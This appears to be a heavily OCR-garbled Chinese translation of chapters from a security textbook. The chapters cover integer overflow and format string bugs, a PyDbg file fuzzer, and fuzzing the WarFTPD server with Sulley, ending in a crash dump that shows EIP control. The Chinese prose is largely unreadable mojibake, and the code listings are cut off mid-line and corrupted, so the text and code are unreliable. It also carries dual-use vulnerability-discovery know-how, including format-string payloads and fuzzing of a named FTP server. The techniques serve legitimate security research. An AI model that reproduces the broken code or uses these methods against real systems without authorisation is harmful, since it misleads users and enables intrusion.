#, MBFEKX, NLIEELTETSEHNEKRE (32767) , AE#Ei#HL
EAX, EAX Il Lt 0x24,Z#iaH, =EH MEFE—1EENN@E., E—FX 8-1,
EEX— VRN L £M, BRECH LNSEER NEESIZHN, BNLBEERK
—/NIEHE KB OXFFFFFFF5,

Stack Parameter => OXFFFFFFF5

Arithmetic Operation => OXFFFFFFF5 + 0x24

Arithmetic Result => 0x100000019 (larger than 32 bits)
Processor Truncates => 0x00000019

Listing 8-1:1£ 32 FRYEEBURE

wnfa—thim#l, malloc FFREF 0x19 NEH KNHNZE |, XB:AEFELLEFEAEE
iz MR /E%, NRERE—KR:MNERESEAX X, 2 hKadms 4
7. TE fuzzing BetE, BMNBMEFRRXEMNR/IMEANAEAFE, MiXHIiTE


http://www.microsoft.com/downloads/details.aspx?FamilyId=49AE8576-9BB9-4126-9761-BA80
http://debugger.immunityinc.com/

B, BETRMERE#— SEHERE, FAETIBERE,
THEEMNRENE—F 5 —ME LRRE, #BXFFRFHRE Format String
Attacks,

8.1.3 Format String Attacks

BN EFFERE, FRBL, RHEZFBEINE T FNFRFEEAREFFERS
b 8, FH=4%8H, 50 C25M printf, iLFA1%EF printf BIRE:

int printf( const char * format, ... );

B—TBHER T REFERBNEHNFERE, TNTUMRMAANSE, KT
B L o i, £ 1M01F ¢

int test = 10000;

printf("wWe have written %d lines of code so far.", test);
Output:

We have written 10000 lines of code so far.

%d B—TEA SRR RNIEEMFEE TR ENMHERI(L E test LHFHHN

) MIR—TMEFANNIEET (2# PERNAW) , BHT TEKS :
char* test = "%x";
printf(test);

Output: 5a88c3188

XEBFRM EAENEARR, Bikd T —MERLBERFL printf K, BREE#
#E BITHN T =, printf *2WHRMNERLENSYE, HARBRERAPFH TS
HAEEE NS, BREZINMERELRRH—IMHIE, EXNMIFHhE
0x5a88c3188, thir=F EALNEIE, LA MRIEE—NMERNENIEH. BH
MERFEER, — PR %S, B —1R %n. %s BRFTEFEFREHY, BA
FYUEEFEEaE, BIEE— NULL =&, RXEFBELHRT, xxtFixH
— K3k S HHIESE IS E It BURE+ 98 A, HURMRBaUIAEE
crash 2%, %n EBERfF (E——) RHFEREFEBEARRE, mF 2B eF
T, A, NEEESHBAOREMN, HEBRE —PMUETEREE 54,
P SR B ITHR, TE fuzzing BEIFE, F4REBEN:XEHIRIDA X LR
E BN BART, AEHEHRL— DS RERTHFRELXIERE,

AEEMNB2FAEN bug £BETIMNABNT E, BrEFHREE—D
fuzzer 7., BTEHMNEE 2= N— file fuzzer, ELFMEENXETZE
EELREFRE, ZRgEERAKMNAEHNERK PyDbg, Come on!!!



8.2 File Fuzzer

File format vulnerabilitie XN LTRAE 2 #5347 & P imB & BRI1T A
N, M BN LBHAMEHRE XEE o HabiRE. TR ENE 2
rEKEEEX BHxds, BNSMEENXERUTENE, KFR2ESHAENXXH
M. Eletiz BHMR, F M fuzzer BEERMEIREIBRERER, RAEB KR
RHEE2YMANRRE, xEZXE MA emailing BIZhEE, EHMBERT LA
X EH R, RASBIBENMENESIE BUERE |

RETFRENRD, B—F, WEB—TEER, BTHEHXHE



#file_fuzzer.py

from pydbg import *

from pydbg.defines

import * import utils

import random

import sys

import struct

import threading

import os

import shutil

import time

import getopt

class file_fuzzer:

def init (self, exe_path, ext, notify):

self.exe_path = exe_path
self.ext = ext
self.notify_crash = notify
self.orig_file = None
self.mutated_file = None
self.iteration = 0
self.exe_path = exe_path
self.orig_file = None
self.mutated_file = None
self.iteration = 0
self.crash = None
self.send_notify = False
self.pid = None
self.in_accessv_handler = False
self.dbg = None
self.running = False
self.ready = False

# Optional

self.smtpserver = 'mail.nostarch.com'
self.recipients = ['jms@bughunter.ca', ]
self.sender = 'jms@bughunter.ca'

self.test_cases = [ "%s%n%s%n%s%n'", "\xff", "\x00", "A" ]
def file_picker( self ):

file_list = os.listdir("examples/")

list_length = len(file_list)

file = file_list[random.randint(@, list_length-1)] shutil.c

return file

J S— o

RERELT 2B E, ATRECEFXHNERER, XEXHERETR
0 Amsxfl, file_picker BIE{HE AR Python RS B &% RBIRTAE XX,
RIERENL LN — D #1T % Foo

EIRBMNBM—LELRETENTE : & By, RERRER, EXEDW
T ERIEBFRER. F—F, RBHFEFRME# —NEKL&RE FREREAE
SLE ] B PIRIBR A, B2E, QBB NEE, BTEM AXNEE, FE%
FHE—BRKEN B ZE AR KEE, REZEHMN—E email {282 B3,




#file_fuzzer.py

def fuzz( self ):
while 1:
if not self.running: #(1)
# We first snag a file for mutation
self.test_file = self.file_picker()
self.mutate_file()
# Start up the debugger thread
pydbg_thread = threading.Thread(target=self.start_debu
pydbg_thread.setDaemon(0)
pydbg_thread.start()
while self.pid == None:
time.sleep(1)
# Start up the monitoring thread
monitor_thread = threading.Thread (target=self.monitor._
monitor_thread.setDaemon(0)
monitor_thread.start()
else:
self.iteration += 1
time.sleep(1)
# Our primary debugger thread that the application
# runs under
def start_debugger(self):
print "[*] Starting debugger for iteration: %d" % self.iteratic
self.running = True
self.dbg = pydbg()
self.dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, self.check_ac«
pid = self.dbg.load(self.exe_path,"test.%s" % self.ext)
self.pid = self.dbg.pid
self.dbg.run()
# Our access violation handler that traps the crash
# information and stores it
def check_accessv(self,dbg):
if dbg.dbg.u.Exception.dwFirstChance:
return DBG_CONTINUE
print "[*] Woot! Handling an access violation!"
self.in_accessv_handler = True
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record_crash(dbg)
self.crash = crash_bin.crash_synopsis()
# Write out the crash informations
crash_fd = open("crashes\\crash-%d" % self.iteration,"w")
crash_fd.write(self.crash)
# Now back up the files
shutil.copy("test.%s" % self.ext,'"crashes\\%d.%s" % (self.iter:
shutil.copy("examples\\%s" % self.test_file, "crashes\\%d_orig.’
self.dbg.terminate_process() self.in_accessv_handler = False
self.running = False
return DBG_EXCEPTION_NOT_HANDLED
# This is our monitoring function that allows the application
# to run for a few seconds and then it terminates it



def monitor_debugger(self):
counter = 0
print "[*] Monitor thread for pid: %d waiting." % self.pid,
while counter < 3:
time.sleep(1)
print counter,
counter += 1
if self.in_accessv_handler != True:
time.sleep(1)
self.dbg.terminate_process()
self.pid = None
self.running = False
else:
print "[*] The access violation handler is doing its busine
while self.running:
time.sleep(1)
# Our emailing routine to ship out crash information
def notify(self):
crash_message = "From:%s\r\n\r\nTo:\r\n\r\nIteration: %d\n\nOut
session = smtplib.SMTP(smtpserver)
session.sendmail(sender, recipients, crash_message)
session.quit()
return

(| - »]

BB T RZEENRE, B nfNEK fuzz 7, sEBMNE2HNEEFEESD
B HMBER, F—4%, Bit selfrunning BARYFTIRE—NAXKBEERITHE 7
MGl BEFSETEERARIE, 529, BNEMEIEEEIXHE, #A%
L, XM= EHEEZ .

—BXHETHTER, B=F, BNIMUE—NRAXERE, e#BEAER, #E LA
AN P HENBRERTE, FAMSTSEE A, BE—INFREER, FEE4H
H#HIEM G, UEFERIIMeHE, SEIF PID, MY, g/E—D % H3%*
12, WIRE—EREHLUE £5AXHNERF. LAKEEBKINLE, HNEEns
HEE, REMAEER, HFEF— K fuzz 95, $%F—R fuzz, SLIEEEAM
EIN—N % 20T MR



#file_fuzzer.py

def mutate_file( self ):
# Pull the contents of the file into a buffer
fd = open("test.%s" % self.ext, "rb")
stream = fd.read()
fd.close()
# The fuzzing meat and potatoes, really simple
# Take a random test case and apply it to a random position
# in the file
test_case = self.test_cases[random.randint (0, len(self.test_cas¢
stream_length = len(stream)
rand_offset = random.randint(0®, stream_length - 1 )
rand_len = random.randint(1, 1000)
# Now take the test case and repeat it
test_case = test_case * rand_len
# Apply it to the buffer, we are just
# splicing in our fuzz data
fuzz_file = stream[0:rand_offset]
fuzz_file += str(test_case)
fuzz_file += stream[rand_offset:]
# Write out the file
fd = open("test.%s" % self.ext, "wb")
fd.write( fuzz_file )
fd.close()
return

{ S— >

FE—PNEMB T HEE, B METRN XA PREEIR B —1 ; ARG R 4% HEE]
BIR B — DI RB A F RN fuzz BHERI K. RSB K EE R ERM NN
fuzz 8iE, REFRERBEEDH, EEPNA fuzz 8iE, —tITkE, BHFEK
XA BEREN 4, REEUNEAXEKETBHF—HHMNXT . AEERNE

RIWFITLRIEESD,




#file_fuzzer.py

def print_usage():

prlnt II[*]II
print "[*] file fuzzer.py -e <Executable Path> -x <File Extens:
prlnt II[*]II
sys.exit(0)
if name == " main ":

print "[*] Generic File Fuzzer."
# This is the path to the document parser
# and the filename extension to use
try:
opts, argo = getopt.getopt(sys.argv[1l:],"e:x:n")
except getopt.GetoptError:
print_usage()
exe_path = None
ext = None
notify = False
for o,a in opts:

if o == "-e":
exe_path = a

elif o == "-x":
ext = a

elif o == "-n":

notify = True

if exe_path is not None and ext is not None:
fuzzer = file_fuzzer( exe_path, ext, notify )
fuzzer.fuzz()

else:
print_usage()

J E— 2]

AEBA file_fuzzerpy A B 289 KR EIBTITEHT ., e hEHETRE
fuzz B9 B RRFHEBE. X 2 ARBRNFEZR TR GNY BE ; 51701
Fixt B BREAN T R R A X BHE. -n A Sk fuzzer ESERENGE
1,

IFRINR fuzzer N730E, BMETENX BAREFRMENRRENTIFER . &
fuzz XAX e, A Windows i BARBEFAIMNT.,. RAIREEs BENE
HE— R EN T, AT A#HRESEN_#H L TRELAERS, T4
file_fuzzerpy Az g1, FEEHAYEIE & THE®ATHE % examples
crashes , AJG7E examples B & TF BUL M LAtxt 2 EHIXH, BEEFERW TS
S B IR,

python file_fuzzer.py -e C:\\WINDOWS\\system32\\notepad.exe -x .txi
2
, 1R

4 T

i

& eEANE#, REBEIM T MBIt Tt %z BEREEHERU
AT LAFE A A file fuzzer X 3| HFEFE T
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8.3 tN# {RAY Fuzzer

EARFMNEZENET — fuzzer, MBRERES LA CIRBERE % ZHtH, BSFELEEEK
H— £ bug, BEREBFRE AR KE K,

8.3.1 Code Coverage

Code coverage 28— 1 EE, Bl 4itnRBrBEFMIER, #HITTEE
Fuzzing % ZX Charlie Miller 3&i¢ 42354288, F3XEIH bug BLEF1 Code coverage
B8 K B IELL, BB FAEL e AR | & 4 £ A ERME, &R fuzz BiZFiet
%, FAAXBEEFH#TE LN EERRLERENR, AREFERATRNNXEANE
fuzz B4r#12, BIEHREI bug M+ PHEBNE, REISFHER 2K fuzz BIRK
ﬁ X BEZBFEA Code coverage I8 2896 F, {RATLUFEMBIR R IDAMR

J file fuzzer,

8.3.2 Automated Static Analysis

B i st = # #l 3T 4 3 1T Automated Static Analysis( B # £ B9 8 & 2 #7)

, BE 4% &5 Bb bughunter E S8k BN 2NN, RIFEZHEEE (5
Wl strepy) , FE LMK M ITIE, SEREFNNR, 2 G8EBZ KR,
WERERNERRIAEEE N1RE, BB TN EM 2B a, FE, tBHEERFT
fRE%, HH bug BNLSFLK,

FFix LLINREMN A TR A1 6B H fuzzer, KRB ARSI MNSERNITIERE, THM%
it fuzzer Ry BRIERIEBERM, TLUUETEIRTIEEY %k, RS XTE
ERlmi% it LBet e, B2 oMET. BT EBENEE —TET Python B
fuzzing #2282 (Pedram Amini, Aaron Portnoy of TippingPoint) ., ZE&HNEEA
NBEB— fuzzer ¥Edm ioctlizer, AT &Ik fEA T 1/0 #EHIK 21 Windows Ir
% PRI



9 SULLEY

Sulley ZFKEIRT &8 {Monsters) , —kELZLENEERY, TEHREFIN
Sulley th 2 —NE#), BRKEET Python B fuzzing FEZRMIZY (TEX BirFq
#Hth47 : Pedram Amini #1 Aaron Portnoy of TippingPoint) , Sulley A xfx@—1
fuzzer ; B BB HFINE FHREG, BaHEMERAK (VMWare automation)
£ fuzzing Mt AR IRET AEEERZI, EZERBHEFEE MR, M2 #HiE
FEIFI—%I, 4k%: 33X bug ZFR. In short, Sulley is badass.

Sulley #1 SPIKE (—ME&B il fuzzing TE, UARECEREMN) —HERTH
e A, FRIUAERMBIEEEEE, THEE2 & L%l sn, itHNE
B o2E T3 fuzzing iR, TEERNXEBIRRT, ROF4 il =E X E
M, SER—TEEIE ERMESR, ERERTUREEmMEE T il (FEXEK

XN) WENFEER, BUELE, 1 BREER, REERNNXBBEASIIEERH
M, GEEIBX LR BIR A 8 R & L NRPIMEZSR, BT fuzzing, X FFRAK
BIREFENENFE Y TERM L fuzz 5t 9T B, 2=MNMIF, EML YL
i, —ENFEREIBEKE L E, NRBMNLENXBIEE NTHIBENKE, 0
REWT KEin g, BRSIHER, MaBRBErE i, BaHiMFEIR OEHE, X
HTE fuzzing B9at i, FAR X bug T, BEFRMIEAN R A & L B X LEHIE 1
B HR R, EERNBIEREE, MARREFTEAN,

BETIXRBMNS#@mB3#H Sully, MEZREIFER, ST2REN T Sulley 62
protocol description (¥ fEih) HIE=FR, BEEBTK—1TE3, fuzzing &
8, SR, UREBZRENTEN fuzzer, Al fuzzing BB 4+l 2
WarFTPD, BHIRMRAGFEARE. MiX fuzzer &% LAEME, AAERENRE
FIRE, IReERE—1E, #BIRM fuzzer &4 18, MIRH 2% L@, A
FEELI AR, XOREBAABHNENRY, MREREREHS5TFM TUEE
Pedram #1 Aaron B8 Sulley manual, %7, EFfi14ks:,



9.1 Z23% Sulley

EBAVRARZRSUlleyz I, E£E/H—k, iR, RKARATLUM
http://www.nostarch.com/ghpython.htm £ zip T 88 Sulley B3, (Ffhit
ZRTE, 22 &HE, http//sulley.googlecode.com LbithH %)

T#5kE, & Sulley, 78 % T#E sulley, utils #1 requests X%, ARE
#IE C:\Python25\Lib\site-packages\B & T, XL&LRi2E Sulley iz, TR &
EHMEK BRI,

FE— WinPcap, —FR IR {E 4 ;5394 &, BT windows & T2
IR, B tREMNEE, X ABRZRHEERET, BEURSENHEETEEN
FM, Kt sy BEFIZS, Winpcap #I 2 B S &ML TE, AELN
R4. Sulley ERTEHIEM% #lE, Tt

ik : http://www.winpcap.org/install/bin/WinPcap_4 0 _2.exe,

ETRLE 1 python & : pcapy # impacket,, #1_EMEH WinPcap Aft&. ©
f11&RH CORE Security 124, Pcapy & WinPcap #J Python # 0, impacket 1] #i
% SRR, pcap BITF FHHbit hitp://oss.coresecurity.com/repo/pcapy-
0.10.5.win32-py2.5.exe.

mpacket BT # itk http://oss.coresecurity.com/repo/Impacket-stable.zip, T#,5
J5f% 22 C:\ directory, st AB & # AT T4

C:\Impacket-stable\Impacket-0.9.6.0&gt;C:\Python25\python.exe setuj
J E— ol



http://www.nostarch.com/ghpython.htm
http://sulley.googlecode.com
http://www.winpcap.org/install/bin/WinPcap_4_0_2.exe
http://oss.coresecurity.com/repo/pcapy-0.10.5.win32-py2.5.exe
http://oss.coresecurity.com/repo/Impacket-stable.zip

9.2 Sulley primitives

ERMFFRFFIExt BizsFal, ©5m%EE LFFAER building blocks (#4&3%:)
X3 5 & F A ERBX YR, Sulley IRt T ATRMETIBERN, »
HA61 & 2 ® %M protocol descriptions 1Rt T EF, ix L& s JRATEUIE A 1 UHK
primitives ([R3i&) . FA15E 5@ —L fuzz WarFTPD sHE=FEIH
primitives, —B{REEAE T MAEHAEHR— primitives, MR THRRES T,

9.2.1 Strings
g?&%(Strings)xEl'zﬁﬁﬁﬂE'i%El’\J primitives, Bl EEFRE ; A%, ip#uilt, B %

o

s_string()18 5 R AN 28 05X BUEHY primitives @ — N fuzz BIFRFE,
s_string)RE— 1S AR ERNFRE, AT AREFNIEEH A, b,
R fuzzing —*> email it :

s_string("justin@immunityinc.com)

Sulley &=38 justin@immunityinc.com HE—NERE, RAE#HTEMITE, REH
B #wi2F. iLFMEBEE email Mk % K T 4,

justin@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AA
justin@%n%n%n%n%n%n.com
%d%d%d@immunityinc.comAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAA

{ E—

9.2.2 Delimiters

Delimiters(ZEF 7)), ATFHANFREQEIXNRETZEEMA R, 1 2HA%LrM
email BB F, F s _delim()iERES [ EDEIKE LM fuzz FRFE,

s_string("justin")
s_delim("@")
s_string("immunityinc")
s_delim(".",fuzzable=False)
s_string('"com")

Hit s_delim(), FA1HF email U2 T LDF&E, HEBE Sk Sulley, FME
fuzzing EHERERAR(), BRERERQ@ .

9.2.3 Static and Random Primitives


mailto:justin@immunityinc.com

s_static()#0 s_random(), HEZRBL, F—NMEEANBIEANRET, BETMERUE
BENLAY 2X %

s_static("Hello,world!")
s_static("\x41\x41\x41")

s_random()FT LARB#L = & % Kk BIEIE,

s_random("Justin",min_length=6, max_length=256, num_mutations=10)

(| —

min_length #1 max_length &5 Sully T FZEHIHBIBRIKESEE, num_mutations
Ak B, RTEETEHRE, Bk 25 R,

EIAMBIBIF, ER"Justin"VEHIRESE, 213 10RELF, =X 6-256 M KEMNF
Fo

9.2.4 Binary Data

Binary Data(Z # HI#UE) RBIER <P Hm LT £ 7], Sullyey JLFREXEBRRE —
IR, UBNELE—ERAMBAIMNBREENHE, FEArREREERS BN
AT [E] oz FeoAi] AE AR HY X L3& A B L IEUIERY, xatf& s_binary() SIIEEER T

s_binary("ox00 \\x41\\x42\\x43 0d Qa 0d 0a")

Sully 8835 5| PR X £ EHE, ARARBRENIFFRFSEER,

9.2.5 Integers

Integers(BH)HI & LKA FE, MEEFM WA EIRE, EIFEAS N s,
DUk BIEKE, &Min, FFE

= 9-1 5T Sulley XHFHFHFELFHEER £ B,

1 byte - s_byte(), s_char()

2 bytes - s_word(), s_short()

4 bytes - s_dword(), s_long(), s_int()
8 bytes - s_qgword(), s_double()

Listing 9-1: Sulley Sz FRIEEE ¢ &Y

FTEMEHREANBELNEEZEMNN L F, endian FRTZEHF UM 2R T
I K, B/NE- (<) 22 K- )R | AT NGH, format A8 A H ik
{4, ascii #l binary ; RKREHFEMOMEER, #4001+, sRIRE—1H ASCI



B RTE 1, H binary £~ #LE\X31, signed BB EERN SN 2L/
S, xPikAREIE format $8E # ascii FEM, EALIT False, RE—1E
WBeyk AR full_range, BRAXP%FLUS, Sulley #t S7E— MR HISE B AR
ATREMIEE R . F101F, MRBMNEANBRZ—IERFSH BH, £
full_range ;% ERX True, X% Sulley FARBERERI X % Fa (B E B &
A, HEHFOR/IMEL), TRSHRAMERE 65535, Sulley IlaiX&ER 65534,
65535, 65536 E#1TiMiX. full_range BAik# False, X ¥ AT Mt 7 Al 2R K
1, BE TEHHETF.

s_word(0x1234, endian=">", fuzzable=False)
s_dword(OxDEADBEEF, format="ascii", signed=True)

B—NEF, BNEET—N2FFKNME 0x1234, FEARRTIARNZBERK
i, EVEA—DEEAE. BMIF, FBMNEET —TN4FEF (WF) KNH4a
OxDEADBEEF, HBEFEEABERFSHELR, LLASCI FRARFKN,

9.2.6 Blocks and Groups

Blocks(3#)Groups(42 )& Sulley ##tHIE KRA 2 TE, Blocks fHHITHY
primitives 8% F— M BIAEFEM L, Groups REE 7 —EREM primitives, —
Group #1—" Block & & &, &R fuzzer i A Block Byt &, #3YF Group HHY
ARG RVENE, AR ERY Block.

TEME—NMERRFA fuzzing HTTP 8961+,



# import all of Sulley's functionality.
from sulley import *
# this request is for fuzzing: {GET,HEAD,POST,TRACE} /index.html H
# define a new block named "HTTP BASIC".
s_initialize("HTTP BASIC")
# define a group primitive listing the various HTTP verbs we wish f
s_group("verbs", values=["GET", "HEAD", "POST", "TRACE"])
# define a new block named "body" and associate with the above grol
if s_block_start("body", group="verbs"):

# break the remainder of the HTTP request into individual prim:

s_delim(" ")
s_delim("/")
s_string("index.html")
s_delim(" ")
s_string("HTTP")
s_delim("/")
s_string("1")
s_delim(".™")

s_string("1")
# end the request with the mandatory static sequence.
s_static("\r\n\r\n")
# close the open block, the name argument is optional here.
s_block_end("body")

d 1 i
BF—HBRBEMMELT — 17U verbs 928, HHASIETMA HTTP k£ 8, 2
BRE LT —" W body B93, FHEM verbs A% E., XEMKE, LIS SuIIey BRA
FA body REY T FEIBRIsR, #B1E3FRY3 BY(GET, HEAD, POST, TRACE)5 ##
HFRAR, Z#E—K, — R body AT HFABLT =4 5 NFEM body,

BEHAI A, FMNE2#METT Sulley B9E kA7, ZHA Sulley R a0Lt, iF
B EMRED, RBMTE, kfgﬁ HRIEBEF, BRANZINEZFEALIE Pedram
B® Fuzzing: Brute Force Vulnerability Discovery (Addison-Wesley, 2007), —&
428 T Sulley # fuzzing 8 X AMFH, AIEZFIEt WarFTPD TF T, A
BB O primitive £4, RS

'I_j' b{l‘]’r%fu Nm #ﬁL D“ ‘V&E’J*I: p;_l




9.3 5% % WarFTPD

EBMNBEL2%2ES T MR Sulley primitives 1% protocol description(h i3, BR)
Fo ABEAUEDNATERRF T, XREBE+HEZ WarFTPD 1.65, ] & HTE
USER #1 PASS #¢ & L, [RAftbfl:# it KEVEHE, MKREI%4%EH, ZMRR
ﬁ(ﬁ@’ Ha i BRIt AL b REW, FAAFHNcaseBEFRNL, &
ftp://ftp.jgaa.com/pub/products/Windows/WarFtpDaemon/1.6_Series/ward165.exe
THERF. T YaiB M AETRE, Bi%iz 1T warftpd.exe FLEE & 3 FTP AR %

7. TE(EH Sulley BB il 3B AT, LFAIET T FTP I TIERE.

9.3.1 FTP 101

FTP 2— N g 2 2FHNXH#thil, B ZHNERTEMrED, M Web IR%
235 MLITEIN, FTP IR %23BAMEIRO 21 L R IRE Pk % ENMS,. AIEFHA]
ZERK FTP & Pim, MR/ LETHINEDEIE, 22X SR 533094
R, fNRMFIAFISTAK T WarFTPD B fuzzer, 3 =T REEIHFHNAIEE,

— N FTP R4 SBEATUSZBER T EEESNEL 7 | E BB B AL
] o s WarFTPD B TE USER #1 PASS 8% £, FRUUENMFBER 4+ X
FANEF 9. FTP A EfSRIMEINT:

USER <USERNAME> PASS <PASSWORD>

—BR i ATENNA »&NEBSE, RESFRNSRKTFE #in, FHXXMH, =X
TH &, tHXHEEEMNR, M5 USER #1 PASS 5 R 2 FTP R % 25i= 4ty
WEEARH— F&, EIOERIEZRBRSL 5| BITIEE, W13k 9-2, X LEFHMI A
EMAZIFEAMNIEFHIY UAEZ (protocol skeleton)f, FTP thilitmMer<s, #F

rfc959,

CWD <DIRECTORY>
DELE <FILENAME>
MDTM <FILENAME>
MKD <DIRECTORY>

change working directory to DIRECTORY
delete a remote file FILENAME

return last modified time for file FILENAME
create directory DIRECTORY

Listing 9-2: M B HM fuzz B9 FTP 6%

meiR e AT %tm, By XTAKASEE, AELBENAHFIEENENX
protocol description

9.3.2 4|2 FTP th 4EZR
LA, LA |



#ftp.py

from sulley import *
s_initialize("user")
s_static("USER")
s_delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("pass")
s_static("PASS")
s_delim(" ")
s_string("justin")
s_static("\r\n")
s_initialize("cwd")
s_static("CwD")
s_delim(" ")
s_string("c: ")
s_static("\r\n")
s_initialize("dele")
s_static("DELE")
s_delim(" ")
s_string("c:\\test.txt")
s_static("\r\n")
s_initialize("mdtm")
s_static("MDTM")
s_delim(" ")
s_string("C:\\boot.ini")
s_static("\r\n")
s_initialize("mkd")
s_static("MKD")
s_delim(" ")
s_string("C:\\TESTDIR")
s_static("\r\n")

protocol skeleton SEfiZ &, L1 IAAIE Sulley =%, EFAIERFKERER
X, Rt g s MK IREFZE & iR Ko

9.3.3 Sulley &%

Sulley £i8E T #KIEES, MKAHIBSIHIREE, #F28X, BExRs, fE
P Z=H, T HENEL—DRiEXY, ARiEmBDTENIED.



#ftp_session.py

from sulley import *

from requests import ftp # this is our ftp.py file

def receive_ftp_banner(sock):
sock.recv(1024) sess = sessions.session(session_filename="audil
target = sessions.target("192.168.244.133", 21)
target.netmon = pedrpc.client("192.168.244.133", 26001)
target.procmon = pedrpc.client("192.168.244.133", 26002)
target.procmon_options = { "proc_name" : "war-ftpd.exe" }
# Here we tie in the receive_ftp_banner function which receive:
# a socket.socket() object from Sulley as its only parameter
sess.pre_send = receive_ftp_banner sess.add_target(target)
sess.connect(s_get("user"))
sess.connect(s_get("user"), s_get("pass"))
sess.connect(s_get("pass"), s_get("cwd"))
sess.connect(s_get("pass"), s_get("dele"))
sess.connect(s_get("pass"), s_get("mdtm"))
sess.connect(s_get("pass"), s_get("mkd"))
sess.fuzz()

{ S— >

receive_ftp_banner()@@r 1M, B AT FTP R4 2R E »ind i L8t iE, &B
£ % 3% banner(#738). FA1IFEH sess.pre_send ZEFRE, X4 Sulley %1%
fuzzing #BIERTAY e iE Fh25ciEUX FTP banner, #1 receive _ftp_banner —#,
pre_send B RIFW—1H Sulley B sock st R, B—FTBAMAE—INRiEX
%, FTie & 300 fuzzer B A, [EadiZHl fuzzing B9 & s F1{E1E, BTEE LK
FH B4, 23 IP hitfinOS, XEZEMK 192.168.244.133 ixH 21 (XEFK
13547 WarFTPD LB IP) . B=4%, % EMKRZENIRO % 26001, P i
HERD FTP AR 42309ttt — 4, X NHORATFES Sulley % HMMS, BMEY, &
BiA X2 ITHERO 26002, xNimEO R T Sulley % HEYA X BB,
procmon_options it A &k A XK NKENH#HERZ war-ftpd.exe, EBRYE, AR
HEHRIMAESUIFNBER SR, £ B, & FTP #RESEFNARE, 2L
ik, REMREESNEENE LKA, &g B % Sulley FFiA fuzzing,

REBRNELTFTRiE, AT TiEKES. REITHWAMEIEHIARNZET., %
X —tIER KB eHE, A UEREBRMBNED T,

9.3.4 M4 F # 72 I 122

Sulley Btk Rz — LB REIEE IFMIERER fuzz B BUER B, UK BH#R4EBER %
& Bo BHEBNUEEE—tIARITESIEBABEANBIES, ARRENF L
H exploit,

1 Sulley B9E B & TA LA E!I process_monitor.py #1 network_monitor.py #
A, b 190 5] 5 TR i ERN AR U



python process_monitor.py

Output:

ERR> USAGE: process_monitor.py

<-c|--crash_bin FILENAME> filename to serialize crash bin class to

[-p|--proc_name NAME] process name to search for and attach to [-1
target process

[-1]--log_level LEVEL] log level (default 1), increase for more
verbosity

[--port PORT] TCP port to bind this agent to

o 1] i
W Eah#TRgE

python process_monitor.py -c C:\warftpd.crash -p war-ftpd.exe

RREMNBE2EETERAMNE TGO 26002, FAIARE-p &,

E T REZE network_monitor.py, X ZBIRELRELTHE : WinPcap 4.0,
pcapy, mpacket,

python network_monitor.py Output:

ERR> USAGE: network_monitor.py

<-d|--device DEVICE #> device to sniff on (see list below)
[-f|--filter PCAP FILTER] BPF filter string

[-P|--1log_path PATH] log directory to store pcaps to
[-1]|--1log_level LEVEL] log level (default 1), increase for more vel
[--port PORT] TCP port to bind this agent to

Network Device List:

[0] \Device\NPF_GenericDialupAdapter
[1] {83071A13-14A7-468C-B27E-24D47CB8E9A4} 192.168.244.133

j E— s

EXBEENFTEFEASE—IMLEO, 0T ML 5P, python
network_monitor.py -d 1 -f "src or dst port 21" -P C.\pcaps\ BN 1 X B H 2RI AR
53237 C:\pcaps B .

_tﬂﬁt%’ ﬁﬁﬁé’é“ﬁo

9.3.5 fuzzing 1 Web 51 mE
MEFA B 3 Sulley, FERRNERN Web FRENTREA fuzz L8,

python ftp_session.py

BT



[07:42.47] current fuzz path: -> user
[07:42.47] fuzzed O of 6726 total cases
[07:42.47] fuzzing 1 of 1121

[07:42.47] xmitting: [1.1]

[07:42.49] fuzzing 2 of 1121

[07:42.49] xmitting: [1.2]

[07:42.50] fuzzing 3 of 1121

[07:42.50] xmitting: [1.3]

MRMHEZR XA, pBA—YIEER, Sulley EEFITHNIFE, AEiLtHINEE
web S H, ERRMHESZER.

Fa3x) % 8337 FF http://127.0.0.1:26000 , SHER XA 9-1 M

Sulley Fuzz Control RUNNING

Todal: 29 ol 6,726
gz 29 0

Figure 9-1: Sulley BJ web FEHE

NETEYRIFT ) %5 23 FLE EEUéﬁﬁfuzzing El’hjz, PR IETEFE A primitive, #0107
9-1 {REFRIETE fuzzing BJ primitive & user, XN HEERAE, EAAZERH
2FE Utul 9-2 E’JHH/%%EEO

Sulley Fuzz Control RUNNING

Figure 9-2: Sulley web i B ~HIEE R ER

REF, miztIEET | B2 KIMM Crash 7 WarFTPD, Sulley tB1812% TR
BHEX WER., BNEBR &/ NXAHN 2EREENEER L% 0x5c5¢5¢5¢ X
’%m¢memEAﬂm%ﬂ\LEE?%AMWﬁLy,E%T%%WﬁE
o, REXFHE EIP, 3 iAiXes2iXR; L4 EIP TEF]E’JM e, PR,
K4 0x5c5c5c5¢ Na— NEMAH b, x BB LSRG EIP 7, BET
kL2 I 4 exploit T ! i ah-2 ? M, _J'| ﬁE?ﬁﬂ]Zﬁﬁﬁ%ﬂﬁE’\]i%iﬁlo ~2H
T ORRBINBYMN K, FA1xt Sulley MTEARE LR AET, stF 58 fuzzing st
U REBEKFSBEIMMIT 7. Good Luck!


http://127.0.0.1:26000

MIER & test case WEE, MEERtwlEZER, 103X 9-3 PyDbg FEZER
MINTE 60 TBY"i5 7 s Bl R IBRE "R A it miH R, SieHREEER &,

[INVALID]:5c5c5¢c5¢c Unable to disassemble at 5c5c5c5c from thread 2t

when attempting to read from 0x5c5c5c5c CONTEXT DUMP
EIP: 5c5c5c5c Unable to disassemble at 5c5c5c5c

EAX: 00000001 ( 1) -> N/A

EBX: 5f4a9358 (1598722904) -> N/A

ECX: 00000001 ( 1) -> N/A

EDX: 00000000 ( ©0) -> N/A

EDI: 00000111 ( 273) -> N/A

ESI: 008a64f0 ( 9069808) -> PC (heap)

EBP: 00a6fb9c ( 10943388) -> BXJ_\'CD@U=@_@N=@_@NSA_@NOGrA_@N*A_0_(
ESP: 00a6fb44 ( 10943300) -> ,,,,,,srrrsrs0s0.,, CNtr User from
192.168.244.128 logged out (stack)

+00: 5c5c5c5¢c ( 741092396) -> N/A

+04: 5c5c5c5c ( 741092396) -> N/A

+08: 5c5c5c5c ( 741092396) -> N/A

+0c: 5c5c5c5c ( 741092396) -> N/A

+10: 20205c5c ( 538979372) -> N/A

+14: 72746e63 (1920233059) -> N/A

disasm around:

0x5c5chch5c Unable to disassemble

stack unwind:

